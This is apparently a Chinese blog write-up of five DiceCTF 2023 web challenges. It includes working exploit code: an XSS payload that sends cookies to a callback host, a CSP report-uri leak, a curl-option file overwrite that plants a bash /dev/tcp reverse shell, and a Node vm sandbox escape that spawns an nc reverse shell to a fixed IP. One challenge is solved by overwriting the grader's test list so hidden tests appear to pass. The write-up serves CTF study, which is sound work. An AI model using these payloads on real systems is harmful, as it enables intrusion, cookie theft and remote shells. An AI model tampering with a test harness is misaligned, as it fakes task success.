April 2, 2023

DiceCTF2023 Web

https://mp.weixin.qq.com/s/CasEXhCQesP1Njb621EfEw
官方英文WP:
https://brycec.me/posts/dicectf_2023_challenges

Scorescope

考点:pyjail
其实感觉就是一道pyjail题
题目给了一个tempaltes.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
def add(a, b):
'''
Return the sum of a and b.

Parameters:
a (int): The first number to add.
b (int): The second number to add.

Returns:
int: The sum of a and b.
'''

######## YOUR CODE ########

raise NotImplementedError

###########################

def longest(words):
'''
Return the longest word in a list of words.
When there are multiple words of the same length, return the first.

Parameters:
words (list): A list of words.

Returns:
str: The longest word in the list.
'''

######## YOUR CODE ########

raise NotImplementedError

###########################

def common(a, b):
'''
Return the longest common subsequence of two strings.

Parameters:
a (str): The first string.
b (str): The second string.

Returns:
str: The longest common subsequence of a and b.
'''

######## YOUR CODE ########

raise NotImplementedError

###########################

def favorite():
'''
Return your favorite number. Must be the same as my favorite number.

Returns:
int: Your favorite number.
'''

######## YOUR CODE ########

raise NotImplementedError

###########################

def factor(n):
'''
Given an integer, find two integers whose product is n.

Parameters:
n (int): The number to factor.

Returns:
Tuple[int, int]: Two satisfying integers.
'''

######## YOUR CODE ########

raise NotImplementedError

###########################

def preimage(hash):
'''
Given a sha256 hash, find a preimage (bytes).

Parameters:
hash (str): The sha256 hash of a string in hex.

Returns:
bytes: A preimage of the hash.
'''

######## YOUR CODE ########

raise NotImplementedError

###########################

def magic():
'''
Guess the random number I am thinking of.

Returns:
int: Your guess.
'''

######## YOUR CODE ########

raise NotImplementedError

###########################

也就是一个接口,我们随便实现一个接口,上传看看发送什么:

1
2
3

def add(a, b):
__import__("os").popen("whoami").read()

image.png
看样子是不能导入os模块,那么准备一个正常的接口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def add(a, b):
return a+b
def longest(words):
return 1
def common(a, b):
return 1
def favorite():
return 1
def factor(n):
return 1
def preimage(hash):
return 1
def magic():
return 1

image.png
成功了一部分,但是还是有一些失败了,并且注意结尾,有一个hidden
image.png
就算上面的我们满足了,但是我们不知道hidden到底要满足啥,所以无论如何都会报错,那么怎么办呢?这里用到一个jail的小tips就是利用报错带出__main__中的所有数据

1
2
3
import __main__
def add(a,b):
raise BaseException(vars(__main__))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
{
'__name__': '__main__',
'__doc__': None,
'__package__': None,
'__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7f8252a78bd0>,
'__spec__': None,
'__annotations__': {},
'__builtins__': <module 'builtins' (built-in)>,
'__file__': '/app/run',
'__cached__': None,
'json': <module 'json' from '/usr/local/lib/python3.11/json/__init__.py'>,
'sys': <module 'sys' (built-in)>,
'TestCase': <class 'unittest.case.TestCase'>,
'TestLoader': <class 'unittest.loader.TestLoader'>,
'TextTestRunner': <class 'unittest.runner.TextTestRunner'>,
'SilentResult': <class 'util.SilentResult'>,
'SubmissionImporter': <class 'util.SubmissionImporter'>,
'suite': <unittest.suite.TestSuite tests=[<unittest.suite.TestSuite tests=[<unittest.suite.TestSuite tests=[None,
None,
<test_1_add.TestAdd testMethod=test_add_positive>]>,
<unittest.suite.TestSuite tests=[]>]>,
<unittest.suite.TestSuite tests=[<unittest.suite.TestSuite tests=[]>,
<unittest.suite.TestSuite tests=[<test_2_longest.TestLongest testMethod=test_longest_empty>,
<test_2_longest.TestLongest testMethod=test_longest_multiple>,
<test_2_longest.TestLongest testMethod=test_longest_multiple_tie>,
<test_2_longest.TestLongest testMethod=test_longest_single>]>]>,
<unittest.suite.TestSuite tests=[<unittest.suite.TestSuite tests=[]>,
<unittest.suite.TestSuite tests=[<test_3_common.TestCommon testMethod=test_common_consecutive>,
<test_3_common.TestCommon testMethod=test_common_empty>,
<test_3_common.TestCommon testMethod=test_common_many>,
<test_3_common.TestCommon testMethod=test_common_nonconsecutive>,
<test_3_common.TestCommon testMethod=test_common_single>]>]>,
<unittest.suite.TestSuite tests=[<unittest.suite.TestSuite tests=[]>,
<unittest.suite.TestSuite tests=[<test_4_favorite.TestFavorite testMethod=test_favorite>]>]>,
<unittest.suite.TestSuite tests=[<unittest.suite.TestSuite tests=[]>,
<unittest.suite.TestSuite tests=[<test_5_factor.TestFactor testMethod=test_factor_bigger>,
<test_5_factor.TestFactor testMethod=test_factor_large>,
<test_5_factor.TestFactor testMethod=test_factor_small>]>]>,
<unittest.suite.TestSuite tests=[<unittest.suite.TestSuite tests=[]>,
<unittest.suite.TestSuite tests=[<test_6_preimage.TestPreimage testMethod=test_preimage_a>,
<test_6_preimage.TestPreimage testMethod=test_preimage_b>]>]>,
<unittest.suite.TestSuite tests=[<unittest.suite.TestSuite tests=[]>,
<unittest.suite.TestSuite tests=[<test_7_magic.TestMagic testMethod=test_magic_a>,
<test_7_magic.TestMagic testMethod=test_magic_b>,
<test_7_magic.TestMagic testMethod=test_magic_c>]>]>,
<unittest.suite.TestSuite tests=[<unittest.suite.TestSuite tests=[<test_8_hidden.TestHidden testMethod=test_hidden>]>]>]>,
'tests': [
'test_hidden',
'test_magic_a',
'test_magic_b',
'test_magic_c',
'test_preimage_a',
'test_preimage_b',
'test_factor_bigger',
'test_factor_large',
'test_factor_small',
'test_favorite',
'test_common_consecutive',
'test_common_empty',
'test_common_many',
'test_common_nonconsecutive',
'test_common_single',
'test_longest_empty',
'test_longest_multiple',
'test_longest_multiple_tie',
'test_longest_single',
'test_add_mixed',
'test_add_negative',
'test_add_positive'
],
'stack': [],
'current': <unittest.suite.TestSuite tests=[
None,
None,
<test_1_add.TestAdd testMethod=test_add_positive>
]>,
'test': <test_1_add.TestAdd testMethod=test_add_positive>,
'submission': 'import __main__rnrndef add(a, b):rn raise BaseException(vars(__main__))',
'f': <_io.TextIOWrapper name='/dev/null' mode='w' encoding='utf-8'>,
'stdout': <_io.TextIOWrapper name='<stdout>' mode='w' encoding='utf-8'>,
'stderr': <_io.TextIOWrapper name='<stderr>' mode='w' encoding='utf-8'>
}

得到了好一些数据,并且看到了hidden是在tests数组里的,但是我们还是不知道要满足啥,那么切换个思维,既然满足不了,那能不能覆盖呢?答案显然是可以的

1
2
3
4
import __main__
__main__.tests=['test_add_mixed']*22
def add(a,b):
raise a+b

因为在一开始我们知道test_add_mixed是被我们满足了的,这里把tests数组里22个元素都改为add_mixed就都会成功!
image.png
flag就出现了,挺有意思的

Recursive-csp

考点:CSP绕过,crc32碰撞
这个实在没办法复现了,环境都无了,docker-compose也没给,云做题即可
可以通过?source拿到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
if (isset($_GET["source"])) highlight_file(__FILE__) && die();

$name = "world";
if (isset($_GET["name"]) && is_string($_GET["name"]) && strlen($_GET["name"]) < 128) {
$name = $_GET["name"];
}

$nonce = hash("crc32b", $name);
header("Content-Security-Policy: default-src 'none'; script-src 'nonce-$nonce' 'unsafe-inline'; base-uri 'none';");
?>
<!DOCTYPE html>
<html>
<head>
<title>recursive-csp</title>
</head>
<body>
<h1>Hello, <?php echo $name ?>!</h1>
<h3>Enter your name:</h3>
<form method="GET">
<input type="text" placeholder="name" name="name" />
<input type="submit" />
</form>
<!-- /?source -->
</body>
</html>

可以发现,CSP Header半可控。
如果需要做到XSS,那么需要使得我们注入的script tag的nonce和整个payload crc32之后的值相同。
考虑到crc32算法碰撞率较高,直接暴力碰撞即可。PoC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import crc from "crc/crc32";

const target = "e8b7be43";
const script = `<script nonce="${target}">location.href='https://mycallback/'+document.cookie</script>`;

const printables =
"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&'()*+,-./:;<=>?@[\\]^_`{|}~ \t\n\r\x0b\x0c";

for (const a of printables) {
for (const b of printables) {
for (const c of printables) {
for (const d of printables) {
for (const e of printables) {
const result = script + a + b + c + d + e;
const digest = crc(result).toString(16);
if (digest === target) {
console.log(result);
process.exit(0);
}
}
}
}
}
}

就是碰撞crc32,绕过csp里的nonce即可。

Codebox

考点:CSP之report-uri报错带出数据
也没有compose文件,云做题的一天~
这题后端从 req.query.code 提取 img 标签,并且将它们的 src 添加到 CSP header 里,这里可以注入分号,也就是追加任意的 CSP

1
2
3
4
5
6
7
8
9
10
11
const csp = [
"default-src 'none'",
"style-src 'unsafe-inline'",
"script-src 'unsafe-inline'",
];

if (images.length) {
csp.push(`img-src ${images.join(' ')}`);
}

res.header('Content-Security-Policy', csp.join('; '));


前端设置flag的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<script>
const code = new URL(window.location.href).searchParams.get('code');
if (code) {
const frame = document.createElement('iframe');
frame.srcdoc = code;
frame.sandbox = '';
frame.width = '100%';
document.getElementById('content').appendChild(frame);
document.getElementById('code').value = code;
}

const flag = localStorage.getItem('flag') ?? "flag{test_flag}";
document.getElementById('flag').innerHTML = `<h1>${flag}</h1>`;
</script>

flag是通过innerHTML直接写入到DOM里,如果在CSP header里指定 require-trusted-types-for ‘script’ ,这个 innerHTML 的赋值就会因为字符串没有经过 Trusted-Types 处理而违反CSP规则。
违反CSP规则可以通过 report-uri 或者 report-to 来上报给指定的地址,上报的内容会包含一小部分错误详情。
构造如下 payload 并访问:
https://codebox.mc.ax/?code=<img+src="111%3brequire-trusted-types-for+'script'%3breport-uri+http://csp.example.com%3b">

可以发现确实违反了 require-trusted-types-for 并且触发了 report-uri 将错误发送给了 example.com,但错误发生在 if (code) 里面的设置 iframe srcdoc 这里,这导致后面设置flag的代码并没有被执行到。怎样能不在 iframe srcdoc这里违反 CSP 呢,答案是不进入 if(code) 里面这段代码,看看code来源:

1
const code = new URL(window.location.href).searchParams.get('code');

前端的 code 是通过浏览器的 URL 类 searchParams.get() 获取的,这个方法在存在多个相同参数的情况下取第一个。而后端取 req.query.code 的时候,express.js 取的是最后一个。 所以可以构造 ?code=&code=<real_payload> 来让前后端各取所需,在前端绕过 if(code) 这个分支的同时,在后端也能注入 CSP 响应头,最终让设置flag的innerHTML违反CSP触发错误,获取 flag:

Unfinished

考点:nodejs文件覆盖getshell
审计一波源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
const { MongoClient } = require("mongodb");
const cp = require('child_process');
const express = require("express");

const client = new MongoClient("mongodb://mongodb:27017/");
const app = express();

const PORT = process.env.PORT || 4444;

app.use(express.urlencoded({ extended: false }));
app.use(require("express-session")({
secret: require("crypto").randomBytes(32).toString("hex"),
resave: false,
saveUninitialized: false
}));

/*
// TODO: add register functionality
app.post("/api/register", (req, res) => {

});
*/

const requiresLogin = (req, res, next) => {
if (!req.session.user) {
res.redirect("/?error=You need to be logged in");
}
next();
};

app.post("/api/login", async (req, res) => {
let { user, pass } = req.body;
if (!user || !pass || typeof user !== "string" || typeof pass !== "string") {
return res.redirect("/?error=Missing username or password");
}

const users = client.db("app").collection("users");
if (await users.findOne({ user, pass })) {
req.session.user = user;
return res.redirect("/");
}
res.redirect("/?error=Invalid username or password");
});

app.post("/api/ping", requiresLogin, (req, res) => {
let { url } = req.body;
if (!url || typeof url !== "string") {
return res.json({ success: false, message: "Invalid URL" });
}

try {
let parsed = new URL(url);
if (!["http:", "https:"].includes(parsed.protocol)) throw new Error("Invalid URL");
}
catch (e) {
return res.json({ success: false, message: e.message });
}

const args = [ url ];
let { opt, data } = req.body;
if (opt && data && typeof opt === "string" && typeof data === "string") {
if (!/^-[A-Za-z]$/.test(opt)) {
return res.json({ success: false, message: "Invalid option" });
}

// if -d option or if GET / POST switch
if (opt === "-d" || ["GET", "POST"].includes(data)) {
args.push(opt, data);
}
}

cp.spawn('curl', args, { timeout: 2000, cwd: "/tmp" }).on('close', (code) => {
// TODO: save result to database
res.json({ success: true, message: `The site is ${code === 0 ? 'up' : 'down'}` });
});
});

app.get("/", (req, res) => res.sendFile(req.session.user ? "dashboard.html" : "index.html", { root: "static" }));

client.connect().then(() => {
app.listen(PORT, () => console.log(`web/unfinished listening on http://localhost:${PORT}`));
});

First of All,是存在一个逻辑漏洞的,因为res.redirect缺少return,所以还是会继续执行,因此这个身份认证和p一样
主要逻辑放在ping路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
app.post("/api/ping", requiresLogin, (req, res) => {
let { url } = req.body;
if (!url || typeof url !== "string") {
return res.json({ success: false, message: "Invalid URL" });
}

try {
let parsed = new URL(url);
if (!["http:", "https:"].includes(parsed.protocol)) throw new Error("Invalid URL");
}
catch (e) {
return res.json({ success: false, message: e.message });
}

const args = [ url ];
let { opt, data } = req.body;
if (opt && data && typeof opt === "string" && typeof data === "string") {
if (!/^-[A-Za-z]$/.test(opt)) {
return res.json({ success: false, message: "Invalid option" });
}

// if -d option or if GET / POST switch
if (opt === "-d" || ["GET", "POST"].includes(data)) {
args.push(opt, data);
}
}

cp.spawn('curl', args, { timeout: 2000, cwd: "/tmp" }).on('close', (code) => {
// TODO: save result to database
res.json({ success: true, message: `The site is ${code === 0 ? 'up' : 'down'}` });
});
});

在这个路由中允许我们执行Curl指令,但是有几个条件

也就是说我们可以执行2种命令:

1
2
curl http(s)://<任意URL> -d <任何内容>
curl http(s)://<任意URL> -<一个字母> <GET或者POST>

那么这就涉及到curl指令的运用了,常见的指令有
-O <path> 写文件
-K <path> 指定 curlrc,curlrc 里可以包含任意 curl 参数

这个选项的意思是以加载文件中的内容作为参数,如文件内容是output=”/home/user/.node_modules/kerberos.js”
那么就相当于curl xxx –output=”/home/user/.node_modules/kerberos.js”

-d @/path/to/file 把文件POST给指定 URL
然后还有一个很有意思的设想就是:既然我们可以写入任意文件,那么我们可以看一下程序加载时会加载自动加载哪些js文件,再覆盖其中一个实现rce
这里直接贴一下r3kapig的图

可以发现是会加载kerberos.js文件的,那么我们就很自然的想到去覆盖这个文件了,那么现在自己VPS编写一个文件

1
2
create-dirs
output="/home/user/.node_modules/kerberos.js"

使用-O GET把他写入/tmp/GET文件内(这是要给curlrc用的),然后再准备一个文件,shell文件

1
require('child_process').exec('bash -c "bash -i >& /dev/tcp/<YOUR_IP>/<YOUR_PORT> 0>&1"')

最后通过-K去调用curlrc,实现多参数使用;-K GET加载/tmp/GET文件,也就是执行了curl --create-dirs --output=/home/user/.node_modules/kerberos.js http://xxx,最后覆盖了kerberos.js
image.png
那么我们还缺最后一步,也就是让服务器崩溃,这里当我们-K加载后就直接弹shell了
image.png
最后
node -e '(async _ =>{const { MongoClient } = require("mongodb"); const client = new MongoClient("mongodb://mongodb:27017/");q = await client.db("secret").collection("flag").find().toArray();console.log(q);})();'
获取flag,因为在docker文件中的init.js告诉我们flag是在数据库里

jwtjail

考点:nodejs vm沙盒逃逸之proxy hook
看了半天才看懂他的意思,这道题的代码很短,然后环境你也没办法搭起来,因为他根本没给你compose文件(给了Dockerfile,貌似可以硬搭,不管这么多XD)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
	"use strict";

const jwt = require("jsonwebtoken");
const express = require("express");
const vm = require("vm");

const app = express();

const PORT = process.env.PORT || 12345;

app.use(express.urlencoded({ extended: false }));

const ctx = { codeGeneration: { strings: false, wasm: false }};
const unserialize = (data) => new vm.Script(`"use strict"; (${data})`).runInContext(vm.createContext(Object.create(null), ctx), { timeout: 250 });

process.mainModule = null; // 🙃

app.use(express.static("public"));

app.post("/api/verify", (req, res) => {
let { token, secretOrPrivateKey } = req.body;
try {
token = unserialize(token);
secretOrPrivateKey = unserialize(secretOrPrivateKey);
res.json({
success: true,
data: jwt.verify(token, secretOrPrivateKey)
});
}
catch {
res.json({
success: false,
data: "Verification failed"
});
}
});

app.listen(PORT, () => console.log(`web/jwtjail listening on port ${PORT}`));

代码很容易看得懂,咱们可控的代码被放在了vm沙盒对象中,这个App是一个用来校验jwt是否正确的工具
image.png

思路整理

我们输入需要校验的JWT也就是Token,然后下面放上key,他就会显示出结果,类似jwt.io功能,然后注意一下沙盒中一些选项

这三点对应这三题的三道坎儿,首先是Strings:false,在Vm模块中可以设置选项
image.png
设置为false说明不可以对任何eval或者是Function构造函数进行调用,假如不禁用这个选项的话那么就是一个简单的vm逃逸了,我们可以通过

1
2
3
4
"use strict";
const vm = require("vm");
const y1 = vm.runInNewContext(`this.constructor.constructor('return process.env')()`);
console.log(y1);

通过this进行简单的逃逸
这里面的this指向的是当前传递给runInNewContext的对象,最终会返回沙盒外的对象,假如启用了之后会报错
image.png
Code generation from strings 错误,这就是一开始在文档中看到的内容
还有一点就是use strict,这个选项是启用严格模式,这个选项假如没开启我们可以怎么逃逸呢?我们可以通过方法的参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
const vm = require('vm');
const script =
`(() => {
const a = {}
a.toString = function () {
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString()
}
return a
})()`;

const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log('Hello ' + res)

如上例子,我们可以通过arguments关键字进行逃逸,这个内置属性在学nodejs的时候见过,可以自行检索;arguments.callee.caller就会返回沙箱外的一个对象,我们在沙箱内就可以进行逃逸了。但是这里也ban掉了
最后一点就是process.mainModule,这个是在最后命令执行时又多了一层过滤,我们一般执行命令都是通过process.mainMoudle.require('child_process')进行命令执行的,但是这里直接在沙盒外又设置为了null,那么就不能通过child_process了,这里作者提到了使用spawn进行命令执行,这个在做rce的题也是遇到过
process.binding("spawn_sync").spawn({"args":["nc","IP","12345","-e","/bin/sh"],"file":"nc","stdio":[{"type":"pipe","readable":true,"writable":false}]})
使用process.binding也是可以命令执行的,那么思路理完了就该思考如何获取沙盒外的对象呢?

Proxy Hook

什么是Proxy Hook呢?我们可以理解为php里的魔术方法,当在某种特定条件时就会触发
image.png
其中我们常用的不亚于get、set、apply,但是get和set在这题由于是strict模式,我们无法获取一个沙盒外的对象,那么答案是什么呢?
最终答案是apply的第三个参数!

1
2
3
4
5
6
7
8
let p=new Proxy(_=>_,{
apply(target,thisArg,argumentsList){
console.log("come in");
console.log(target);
console.log(thisArg);
console.log(argumentsList);}
}
)

image.png
可以看到第三个参数返回的是一个数组类型,而数组类型在js中,这里有一个关于vm逃逸的知识,在vm模块中变量分为两种类型原生、引用,那么基本类型数字,字符串就是原生类型,而数组就是一个引用类型,这个引用类型是对象外的对象!

1
2
3
4
5
6
const util = require('util');
const vm = require('vm');
const sandbox = { arr:[1]};
vm.createContext(sandbox);
res1=vm.runInContext(`arr.constructor.constructor("return process")();`, sandbox);
console.log(res1)

image.png
加入我们把数组换成字符串,则会报错
image.png
现在我们已经有了一个沙盒外的对象了,我们该如何触发它呢?

[Symbol.toPrimitive]

对象的Symbol.toPrimitive属性,指向一个方法。该对象被转为原始类型(number、string、Boolean、null、undefined、symbol、bigInt)的值时,会调用这个方法,返回该对象对应的原始类型值。
Symbol.toPrimitive被调用时,会接受一个字符串参数,表示当前运算的模式,一共有三种模式。

Number:该场合需要转成数值
String:该场合需要转成字符串
Default:该场合可以转成数值,也可以转成字符串

对象的symbol.toPrimitive属性你也可以当成一个hook,他会在类型强制转换时触发,下面有一个网上的例子就简单的拿过来看看
image.png
那我们结合上面所说的一系列,我们可以构造一个payload雏形

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
"use strict";
const jwt = require("jsonwebtoken");
const vm = require("vm");
let script=
{
constructor: {
name: {
[Symbol.toPrimitive]: new Proxy(_=>_, {
apply(a,b,c) {
console.log("a",a);
console.log("b",b);
console.log("c",c);
}
})
}
}
}
String(script.constructor.name)
Number(script.constructor.name)
console.log(+script.constructor.name)
console.log(-script.constructor.name)
console.log(`test${script.constructor.name}`)

image.png
根据上述例子可以看出来,在对name属性进行类型强制转换时会触发Symbol.toPrimitive设置的方法,也就是Proxy,而Proxy在被当成方法调用时就会触发apply hook,因此对结果进行了输出,至此思路已经很清晰,接下来直接给出payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
"use strict";
const jwt = require("jsonwebtoken");
const vm = require("vm");
let script=`
{
constructor: {
name: {
[Symbol.toPrimitive]: new Proxy(_=>_, {
apply(a,b,c) {
c.constructor.constructor("return this")().process.binding("spawn_sync").spawn({"args":["calc"],"file":"calc","stdio":[{"type":"pipe","readable":true,"writable":false}]})
}
})
}
}
}`
// Number(script.constructor.name)
const ctx = { codeGeneration: { strings: false, wasm: false }};
const unserialize = (data) => new vm.Script(`"use strict"; (${data})`).runInContext(vm.createContext(Object.create(null), ctx), { timeout: 250 });
const token="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.LLPW3b1BzsGRHh1AiHDi6W6RKK-k7INCN_gkvzJUlfo";
const p=unserialize(script);
console.log(p)
jwt.verify(token, p)

image.png
至此成功逃逸

流程分析

给一个断点在verify函数,因为题目触发点就是在这里
image.png
我们payload位置对应的是key,可以看到这莉的key就是自定义的proxy类,然后由于类型不符合就会进入报错流程
image.png
image.png
在这里存在一个对value.constructor.name的强制字符串类型转换,value也就是代理对象,那么就会触发apply hook,这个在先前的demo中证实了的,因此最后弹出计算机,流程就是如此~

linux环境测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
const endpoint = `http://127.0.0.1:5555`
const jwt = require('jsonwebtoken')
const token = jwt.sign({}, 'a')
fetch(endpoint + `/api/verify`, {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: new URLSearchParams({
token: `'${token}'`,
//secretOrPrivateKey
secretOrPrivateKey:`{
constructor: {
name: {
[Symbol.toPrimitive]: new Proxy(_=>_, {
apply(a,b,c) {
c.constructor.constructor("return this")().process.binding("spawn_sync").spawn({"args":["nc","114.116.119.253","7777","-e","/bin/sh"],"file":"nc","stdio":[{"type":"pipe","readable":true,"writable":false}]})
}
})
}
}
}`
})}).then((res) => res.text())
.then(console.log)

image.png

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#WriteUp#DiceCTF